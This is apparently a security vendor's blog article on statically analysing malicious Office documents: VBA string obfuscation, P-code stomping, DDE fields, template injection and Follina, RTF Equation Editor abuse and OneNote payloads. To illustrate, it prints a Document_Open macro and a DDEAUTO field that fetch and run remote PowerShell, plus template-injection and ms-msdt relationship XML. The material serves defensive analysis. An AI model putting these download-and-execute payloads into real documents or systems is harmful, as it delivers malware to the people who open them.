Techniques16-May-26|16 min read

Office Document Malware Analysis: VBA, P-Code, DDE, and Template Injection

Static decoding of macros, embedded objects, and external loaders from .doc, .docx, .xls, .xlsx, .rtf, and OneNote in one upload

Microsoft's macro-block policy made Office documents harder to exploit in the open inbox, and it changed the delivery landscape. It did not eliminate it. Documents still execute through SharePoint and Teams workspaces, through internal file shares where the trust boundary is the perimeter rather than the user, through USB drops in operational-technology environments, and through legacy estates where macro-enabled formats are still part of the daily workflow. The obfuscation patterns inside those documents have changed very little because the file format still permits them, and a SOC analyst opening a flagged .doc on a Tuesday afternoon needs to know what is going to run.

Static analysis of Office documents is solvable, and that is the structural advantage. The macro logic, the auto-exec triggers, the obfuscated string assembly, the eventual PowerShell command or HTTP fetch, all of it has to be present in the document, because at execution time the host has not made a network call yet. The C2 URL has to be there. The decryption key, if there is one, has to be there. KlaroSkope's Office pipeline is built around that constraint. Upload a document, get the macro extracted, the string functions resolved, the variable assembly folded, the cross-references substituted, and the embedded loader script handed off to the script deobfuscator. The chain runs end to end.

Analyse Office document malware automatically. Upload your .doc, .docx, .xls, .xlsx, .rtf, or .one sample at klaroskope.com/submit and KlaroSkope extracts macros, resolves VBA string functions, folds variable accumulation, detects auto-exec triggers and P-code stomping, surfaces DDE commands and template-injection relationships, and feeds embedded loader scripts into the script deobfuscation chain.

What KlaroSkope Examines in an Office Document

Office malware does not live in one file format. It lives in four container families that share a heritage but parse very differently, and the first job of the analyser is to route the upload correctly. Magic-byte detection runs first and selects the parsing path.

Office container formats and the routing each takes inside the analyser.
OLE2 .doc .xls .ppt
Magic bytesD0 CF 11 E0 A1 B1 1A E1
Sub-typesWord, Excel, PowerPoint (via storage-stream inspection)
What gets extractedVBA project, P-code, DDE, OLE streams, embedded images, metadata
OOXML .docx .xlsx .pptx .docm .xlsm .pptm
Magic bytesPK 03 04 + [Content_Types].xml
Sub-typesWord, Excel, PowerPoint (via MIME-type inspection)
What gets extractedVBA, P-code, external relationships, custom XML parts, embedded images, metadata
RTF .rtf
Magic bytes{\\rtf
Sub-typesControl-word fields, no storage streams
What gets extractedEmbedded OLE objects, Equation Editor blobs, DDE commands
OneNote .one .onepkg
Magic bytesE4 52 5C 7B 8C D8 A7 4D
Sub-typesNotebook sections with embedded attachments
What gets extractedFileDataStoreObject embedded files (executables, scripts, archives, PDFs)

Once the format is identified, KlaroSkope extracts the parts that matter for malware analysis. From OLE2 and OOXML it pulls the VBA project, the P-code disassembly, DDE field codes, embedded images, document metadata, external relationship targets, and any custom XML parts. From RTF it pulls embedded OLE objects, Equation Editor blobs, and DDE commands. From OneNote it recovers every embedded file attachment and classifies each as executable, script, archive, PDF, or unknown by its own magic bytes. The extracted content is then handed to the deobfuscation chain that runs across the rest of the platform.

Auto-Exec Triggers Are the First Question

Before reading a single line of VBA, an analyst wants to know whether anything runs automatically and what it is. A long sophisticated macro that never executes without a user clicking a button is a very different threat from a single line in Document_Open that calls Shell. KlaroSkope flags the auto-exec entry points before the macro body is opened.

The triggers fall into three groups. The legacy Auto family inherited from Word 6 (AutoOpen, AutoClose, AutoExec, AutoExit, AutoNew). The Word object-model handlers (Document_Open, Document_Close, Document_New, Document_BeforeClose, Document_BeforeSave). The Excel object-model handlers (Workbook_Open, Workbook_Close, Workbook_Activate, Workbook_BeforeClose, Workbook_BeforeSave). Matching is case-insensitive and tolerant of the underscore-versus-no-underscore variants attackers occasionally use to bypass simple string searches. Any Sub or Function name that matches marks the macro module as auto-executing and contributes to the document's risk score.

Auto-exec is a strong signal but not a sufficient one. A macro module with no auto-exec trigger can still be malicious if the document uses social engineering ("click here to enable content") or pairs with a DDE field that runs the macro indirectly. The auto-exec flag tells you the macro will fire on open; the absence of one tells you to keep reading.

VBA Function Resolution

Most VBA obfuscation does not invent new techniques, it stitches together a handful of built-in string functions. Chr() to build characters from integers. StrReverse() to hide URLs and command names backwards. Replace() to defang URLs by substituting placeholder characters with their targets at runtime. Mid(), Left(), Right() to chop and reassemble strings from constants. Concatenation to glue the pieces together. Each function on its own is harmless. Stacked across thirty lines of code, they reduce a clear URL to an unreadable arithmetic expression. The job of static resolution is to fold every function call back to its literal output without executing the macro.

KlaroSkope's VBA resolver handles the eleven functions that account for the dominant share of in-the-wild macro obfuscation.

VBA built-in functions resolved statically by the resolver.
StrReverse
What it doesReverses a string literal
Common abuse patternHide URLs and command names backwards
Chr / ChrW
What it doesReturns one character from an integer (0-255 / 0-65535)
Common abuse patternBuild strings character-by-character to break signature matching
Replace
What it doesSubstitutes one substring for another
Common abuse patternDefang URLs at rest: "hXXp://evil.test".Replace("hXX","htt")
Mid
What it doesSubstring by 1-based start position and length
Common abuse patternSlice payload fragments from concatenated constants
Left / Right
What it doesFirst / last N characters of a string
Common abuse patternReassemble URLs from a constant pool
Len
What it doesInteger length of a string
Common abuse patternArithmetic input for nested function calls
LCase / UCase
What it doesLowercase / uppercase form
Common abuse patternBypass case-sensitive YARA strings
Trim
What it doesRemoves leading and trailing whitespace
Common abuse patternCleanup after Mid / Left / Right slicing

The dollar-suffixed variants (Mid$, Left$, Right$, StrReverse$, LCase$, UCase$, Trim$) are treated identically. The resolver iterates the macro source through repeated evaluation passes, folding any expressions that are now fully evaluable at each step, and exits when the source stabilises. Deeply nested obfuscation is handled by this iteration rather than by a hard recursion depth, so chains that would defeat a single-pass simplifier resolve cleanly.

vba
' Before resolution: obfuscated payload assembly
Sub Document_Open()
    Dim p As String, u As String, c As String
    p = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
    u = StrReverse("1sp.redaol/24.001.15.891//:ptth")
    c = " -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('" & u & "'))"
    Shell p & c
End Sub

' After resolution
Sub Document_Open()
    Dim p As String, u As String, c As String
    p = "powershell"
    u = "http://198.51.100.42/loader.ps1"
    c = " -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/loader.ps1'))"
    Shell "powershell -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/loader.ps1'))"
End Sub

Variable Accumulation and Cross-Variable Substitution

A more capable obfuscation pattern, common in Emotet-era macros and still appearing in current commodity samples, breaks the malicious string across many separate variable assignments and accumulates them with the ampersand operator over twenty or thirty lines.

vba
iex = "IEX("
iex = iex & "(New-Object "
iex = iex & "Net.WebClient)"
iex = iex & ".Downloa"
iex = iex & "dString("
iex = iex & "'http://198"
iex = iex & ".51.100.42"
iex = iex & "/stage2.ps1'"
iex = iex & "))"
Shell "powershell -Command " & iex

Reading this by hand is the analyst's tax, and the manual reconstruction is exactly where errors creep in. KlaroSkope's resolver detects the accumulation pattern and folds the chain into a single equivalent assignment before the next stage of resolution sees the macro, producing iex = "IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/stage2.ps1'))". The fold is conservative: if any line in the chain references a value the resolver has not yet been able to evaluate, the original chain is preserved for manual review rather than partially substituted into something misleading.

Cross-variable substitution runs after folding. When one variable is built from concatenations of other variables, for example cmd = p & args & u where p, args, and u all resolve to literals, the resolver substitutes the dependent expression with the joined literal. The substitution is conservative across the chain in the same way as the fold; partial resolution would corrupt the macro's apparent intent and is worse than no resolution. The pattern of breaking a payload across nominally-independent variables is one of the cheapest obfuscations to write and one of the more time-consuming to read by hand, which is why automating the fold matters more than the technical novelty of the technique.

P-Code Disassembly and VBA Stomping

A VBA project on disk has two parts that are supposed to agree: the VBA source code as the analyst would read it, and the P-code, which is the compiled bytecode the Office application actually runs. Compilation happens automatically when a macro is edited, and under normal conditions the two are kept consistent. They do not have to be.

Definition:

VBA stomping is the technique of editing the P-code directly, or substituting the VBA source after compilation, so that the source text stored alongside the document is benign and the P-code that executes is malicious. Office runs the P-code, not the source. Analysis tools that read the macro by parsing the VBA source see something different from what runs on the target machine.

The discrepancy between P-code and VBA source was first surfaced by Dr Vesselin Bontchev, the author of the pcodedmp disassembler KlaroSkope uses for P-code extraction. The technique was then documented as a maldoc offensive pattern at DerbyCon 2018 by Kirk Sayre, Harold Ogden, and Carrie Roberts of Walmart Global Tech, and operationalised the following year by Stan Hegt's EvilClippy tool from Outflank, which remains the reference implementation. For several years stomping appeared mostly in red-team operations because the tooling was inconvenient. That has changed. Builder utilities now make stomping easy enough that it appears in commodity samples on a routine basis, and a document that opens cleanly under olevba's source-only view yet triggers post-execution alerts on the host is exactly the failure mode stomping creates.

KlaroSkope extracts the P-code disassembly through pcodedmp and compares the structural fingerprint of the disassembly against what the VBA source claims to declare. When the two diverge in ways consistent with stomping, the document is flagged and the divergent details are recorded for the analyst. The detection is heuristic rather than a cryptographic equivalence proof: a sophisticated stomp that takes care to match the structural surface area of its decoy can evade it, which is why the analyst surface flags the technique for human attention rather than asserting a definitive verdict. In practice the heuristic catches the common commodity stomping pattern, where the malicious routines do not look like the decoy on the surface, and it is fast enough to run on every Office submission.

When stomping is flagged, the P-code disassembly is the authoritative answer to "what runs." The VBA source is the answer to "what an unaware reviewer sees." Treat them in that order, and pay attention to the names of the routines that appear only in the disassembly.

Stop reading macros by hand. Paste your suspicious .docm, .xlsm, or .doc at klaroskope.com/submit - VBA function resolution, variable folding, auto-exec trigger detection, P-code stomping checks, and the embedded loader hand-off all run in one pass.

DDE Field Codes

Dynamic Data Exchange field codes are a pre-macro execution channel built into Word and Excel for inter-application data sharing. They were never disabled when macros were locked down in default settings, and DDEAUTO field codes auto-execute when a document opens unless the user dismisses the update-links prompt. The 2017-2018 wave of DDE-only Office malware (Hancitor, Necurs droppers, DNSMessenger) used this gap heavily, and DDE still appears in current samples because some organisations have not patched out the auto-update prompt or have business processes that depend on DDE for legitimate reasons.

text
DDEAUTO c:\\windows\\system32\\cmd.exe "/c powershell -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/stage2.ps1'))"

KlaroSkope extracts DDE commands through the standard Office parsing path and pulls additional candidates from non-standard locations when a document hides the field outside its usual home. Both DDE and DDEAUTO field codes are recovered. The extracted command string is passed to the deobfuscation chain, which handles the batch caret escapes (c^m^d, c^e^r^t^u^t^i^l) and PowerShell backticks that frequently wrap the cmd.exe invocation. CVE-2017-0199 (template injection via OLE2Link, sometimes paired with DDE) sits in the same class of weakness; it is detected as a separate signal on the relationship side.

Template Injection and Follina

OOXML documents declare their internal relationships in .rels XML files. Most relationships are internal (the document references its own styles, its own header, its own embedded image), but a relationship can also be external, pointing to a URL where Office fetches the target at open time. External relationships are how template injection works. A blank-looking Word document declares an attachedTemplate relationship pointing to a remote .dotm file. Open the document. Office fetches the remote template. The template contains the macro. The macro runs. The .docx itself contains no malicious code, which is why mail-gateway content scanners that focus on macros routinely miss template-injection samples.

The Follina vulnerability (CVE-2022-30190) is a related class of attack. Instead of an attachedTemplate, the relationship target is a ms-msdt:// URI that triggers the Microsoft Support Diagnostic Tool with attacker-controlled parameters. The malicious payload is in the URL, not in the document body. Follina remained exploitable in the wild for several months in 2022 and is still occasionally seen in unpatched legacy estates.

xml
<!-- word/_rels/settings.xml.rels in a template-injection sample -->
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    Target="http://198.51.100.42/loader.dotm"
    TargetMode="External"/>
</Relationships>

<!-- A Follina-style relationship, same file shape, different scheme -->
<Relationship Id="rId1"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
  Target="ms-msdt:/id PCWDiagnostic /skip force /param IT_RebrowseForFile=..."
  TargetMode="External"/>

KlaroSkope walks the relationship graph of an OOXML container, surfaces external targets, and classifies them by the family of technique each represents. ms-msdt:// targets are surfaced as Follina (CVE-2022-30190). External relationships pointing at templates, embedded OLE objects, or frames are surfaced as template injection. Any other external HTTP or HTTPS target is preserved as a generic remote-relationship indicator. Each flag carries the destination URL (truncated for safety) so the analyst sees both the technique and the target in one place.

RTF Embedded Objects and Equation Editor Abuse

RTF documents can embed arbitrary OLE objects through the \\object control word, and the embedded objects are stored as Ole10Native package streams that can carry executables, scripts, or specialised payloads. The most consequential RTF technique of the past decade was the abuse of the Microsoft Equation Editor (EQNEDT32.EXE) through CVE-2017-11882 and CVE-2018-0802, where a malformed equation object overflows a stack buffer and the attacker controls execution. The Equation Editor was unsigned, ran with the user's privileges, and was installed on default Office configurations for over fifteen years before Microsoft pulled it. Samples exploiting it still appear in geographic regions where Office 2007 and Office 2010 estates are slow to retire.

KlaroSkope walks RTF objects through oletools.rtfobj, pulls both the raw object data and the Ole10Native package stream, and inspects each. Objects bearing the class identifiers used by the Equation Editor are flagged with the CVE pair regardless of whether the equation payload is parseable; the document is marked for incident-response attention without requiring successful parsing of the malformed equation. Objects whose data starts with the MZ magic bytes are flagged as embedded executables. Embedded files are then handed back to the engine for routing: scripts to the script deobfuscator, binaries to the PE handler.

OneNote Embedded Payloads

When macro-block policy took effect in 2022, several malware families pivoted to OneNote as the delivery container. A .one file lets the operator embed a clickable attachment that opens the payload through the OneNote attachment dialog, and OneNote at the time had no equivalent macro-block. Qbot, IcedID, and AsyncRAT all ran OneNote-based campaigns through 2023, and OneNote remains in the rotation as a steady-state delivery vector rather than a passing fashion.

The OneNote file format is poorly documented but the embedded-file structure is reliable. KlaroSkope scans .one and .onepkg binaries for the FileDataStoreObject marker Microsoft uses to locate embedded attachments, recovers each payload, and classifies it by its own magic bytes. The classifier distinguishes executables, ZIP archives, PDFs, and text-content scripts containing PowerShell, batch, or WScript signals. Synthetic naming on extraction makes the result easy to scan at a glance. Each extracted script is then passed through the engine again as a fresh script input, which is how an obfuscated batch file embedded in a OneNote sample ends up with its caret escapes resolved and its IOCs surfaced from a single user-side upload.

Custom XML Payload Channels

OOXML documents allow arbitrary application-specific XML parts under customXml/. Legitimate uses are rare; abuse is not. A document with an empty macro project but a customXml part containing a Base64-encoded blob alongside a thin PowerShell wrapper macro becomes a vector where every static analysis tool that focuses on the macro misses the actual payload, which is sitting in a part most parsers do not look at.

KlaroSkope reads customXml parts up to per-part size and total-count caps for resource safety, and scans each for Base64 blobs of useful length, PowerShell command markers, VBA-shaped substrings, and explicit script keywords. Matches are extracted, truncated for the analyst view, and fed into the deobfuscation chain. The same channel is used as a fallback when a macro is present but the standard oletools extraction misses it because the VBA payload has been relocated outside its usual stream.

The Macro-to-C2 Chain in One Upload

The unique angle of static analysis on Office malware is that everything is in the document. The Office host has not made a network call yet at the point a defender intercepts the sample. The auto-exec trigger, the obfuscated string assembly, the function calls that hide the URL, the encoded PowerShell stage, the eventual C2, all of it is staged inside the .doc or .docm. Walking the chain is a matter of decoding, not of simulating.

An end-to-end run looks like this. The document is uploaded. The container format is identified. The VBA project is extracted. Auto-exec triggers are flagged. The VBA function resolver runs StrReverse, Chr, Replace, and the other functions until the macro source converges to literal strings. Variable accumulation is folded. Cross-variable substitution merges dependent expressions. The Shell argument resolves to a clean PowerShell command. The PowerShell command, often Base64-encoded or wrapped in IEX and string-concatenation tricks, is handed to the PowerShell deobfuscation chain, which decodes the encoded command, peels the back-tick escapes, resolves the .Replace() chains, and surfaces the final URL. The URL is extracted as an IOC. The relevant MITRE ATT&CK techniques are tagged. YARA and Sigma rules are generated from the decoded content. The same upload also runs through the broader multi-layer decode loop when the macro embeds compressed or doubly-encoded payloads.

The chain runs without executing the macro and without making the Office application's network call. The defender sees what the attacker would have caused the host to fetch, which is the answer to the only question that matters at triage: where is this going to phone home, and what does it want to drop.

MITRE ATT&CK Coverage

Office malware analysis maps cleanly to several ATT&CK techniques. Each tag carries through to the YARA and Sigma rule generation step so that detections built from KlaroSkope's output land in the analyst's threat-hunting pipeline with the right technique IDs already attached.

ATT&CK techniques surfaced by Office analysis.
T1204.002 User Execution: Malicious File
What Office analysis surfaces for itThe initial click that opens the document
T1059.005 Command and Scripting Interpreter: Visual Basic
What Office analysis surfaces for itThe macro execution path itself
T1137 Office Application Startup (incl. T1137.001 Office Template Macros)
What Office analysis surfaces for itAuto-exec entry points: AutoOpen, Document_Open, Workbook_Open, and the rest
T1221 Template Injection
What Office analysis surfaces for itExternal attachedTemplate relationships in OOXML .rels files
T1559.002 Inter-Process Communication: Dynamic Data Exchange
What Office analysis surfaces for itDDE and DDEAUTO field codes
T1564.007 Hide Artifacts: VBA Stomping
What Office analysis surfaces for itStructural divergence between P-code disassembly and VBA source
T1027 Obfuscated Files or Information (incl. T1027.009 Embedded Payloads)
What Office analysis surfaces for itVBA function obfuscation, variable accumulation, OLE-package and OneNote-attachment payload patterns

For background on where the obfuscation techniques in this article fit into the wider taxonomy of script-level transforms, the obfuscation technique taxonomy groups VBA alongside the rest of the language-specific abuse category. The practical MITRE T1027 reference walks the obfuscation umbrella in more detail, and the decoder-chain-as-fingerprint approach shows how the order of decoders that fire on a sample becomes a soft attribution signal across campaigns.

Try it now -> klaroskope.com/submit - upload any suspicious Office document (.doc, .docx, .xls, .xlsx, .xlsm, .rtf, .one) and KlaroSkope decodes the macro chain, surfaces auto-exec triggers, flags P-code stomping and template injection, extracts embedded executables and scripts, and outputs the IOC list with MITRE ATT&CK mapping. Free tier handles the same multi-layer chains active campaigns are using right now.

Frequently Asked Questions

Q

How do you analyse a malicious Office document?

Static analysis is the safe first step. Identify the container format from magic bytes, extract macros and embedded objects without executing the document, resolve the VBA string functions and variable accumulation that hide the payload, and surface the final command and any URLs. KlaroSkope automates the full chain from upload to decoded IOC list, including auto-exec trigger detection, P-code stomping checks, DDE extraction, and template-injection scanning. Dynamic analysis in a sandbox is a useful follow-up where execution behaviour matters, but static analysis answers the C2 question first.
Q

What is VBA stomping?

VBA stomping is the technique of making the compiled P-code that Office executes differ from the VBA source code stored alongside it. The source is the version a reviewer sees when opening the file in olevba or in the VBA editor. The P-code is the version Office runs. By editing the P-code directly, or by replacing the source after compilation, an attacker can ship a document where the visible macro is benign and the executed macro is malicious. The P-code is the authoritative version. Treat the source as decoration when the two disagree.
Q

How do macros hide malware in Office documents?

The dominant patterns are obfuscation of string literals through VBA built-in functions (Chr, StrReverse, Replace, Mid, Left, Right), variable accumulation across many small assignments to defeat pattern matching on full strings, and cross-variable substitution where the final command is assembled by concatenating several apparently-unrelated variables. The actual payload is usually a Shell call into PowerShell or cmd.exe with an encoded argument, where the obfuscation is applied to the argument string. Static resolution of the string functions and the variable assembly reduces the macro to plain commands.
Q

Can you detect macro malware without opening the document?

Yes, and you should. Opening a malicious Office document on an analyst workstation is exactly the trigger the attacker wants. Static analysis tools extract the macro and embedded content without invoking the Office application, which means no auto-exec macros fire and no external template fetches are made. KlaroSkope performs all extraction and decoding through static parsers (oletools, pcodedmp) and never opens the document in Office, which is why an analyst can safely paste even an actively-weaponised sample into the submission page.
Q

What is VBA P-code?

P-code is the compiled bytecode form of a VBA macro. When a macro is edited in the VBA editor, Office compiles the source into P-code and stores both side by side in the document's VBA project. At execution time Office runs the P-code, not the source. Under normal conditions the two are consistent and either one is an accurate description of macro behaviour. When they disagree, the document is stomped and the P-code is the version that actually runs.
Q

How do attackers obfuscate VBA macros?

The toolkit is small but composable. Chr() to build characters from integer codes, StrReverse() to hide strings backwards, Replace() to defang URLs with placeholder substrings that are restored at runtime, Mid/Left/Right to slice constants into pieces, ampersand concatenation to glue everything together, variable accumulation across many lines to break up pattern-matchable strings, and cross-variable substitution where the final payload is built from concatenations of other variables. The same eleven functions cover most in-the-wild obfuscation; the variety comes from how they are combined, not from technical novelty.
Q

What Office file types can contain macros?

The macro-enabled OOXML formats (.docm, .xlsm, .pptm) explicitly declare macro support. The legacy OLE2 formats (.doc, .xls, .ppt) all permit macros without a distinct file extension. RTF cannot carry VBA macros directly but can embed OLE objects that do (including weaponised Equation Editor objects). OneNote (.one, .onepkg) cannot carry VBA macros but can embed clickable executables and scripts. DDE field codes work in .doc, .docx, and .xls without requiring any macro at all, which is why template-injection and DDE samples sometimes ship with macro projects that are completely empty.
Q

What is a DDE attack in Office documents?

Dynamic Data Exchange is a legacy inter-process communication channel built into Word and Excel for inter-application data sharing. A DDEAUTO field in a document causes Office to launch the configured command when the document opens, after a user prompt that not every user dismisses safely. Attackers use DDEAUTO to launch cmd.exe or powershell.exe with an obfuscated argument that downloads and runs a payload. The technique pre-dates macro-block policy and is unaffected by it, which is why DDE remains in the rotation in environments that have not disabled the auto-update-links prompt.
Q

How does template injection work in Office documents?

An OOXML document declares its parts and relationships in .rels XML files. Most relationships are internal, but a relationship can be external, pointing to a URL where Office fetches the target at open time. A template-injection sample declares an external attachedTemplate relationship pointing to a remote .dotm file. When the user opens the .docx, Office fetches the .dotm, loads the template, and runs whatever macros it contains. The .docx itself is clean; the malicious code is in the remote template. The same channel was used by Follina (CVE-2022-30190), substituting a ms-msdt:// URI for the .dotm URL.
Q

What is the difference between VBA source and P-code?

VBA source is the human-readable macro text, the version an analyst sees when opening the file in olevba or the VBA editor. P-code is the compiled bytecode, the version Office actually executes. The two are normally generated and updated together by the VBA editor, but they are stored separately in the document and there is no enforcement requirement that they match. An attacker who edits the P-code directly, or who replaces the source after compilation, ships a document where the source and the P-code describe different programmes. The P-code is what runs. The source is what is on display.

Found this useful? Sharing is caring!

Ready to decode?

See KlaroSkope transform obfuscated scripts into actionable intelligence.

Try It Free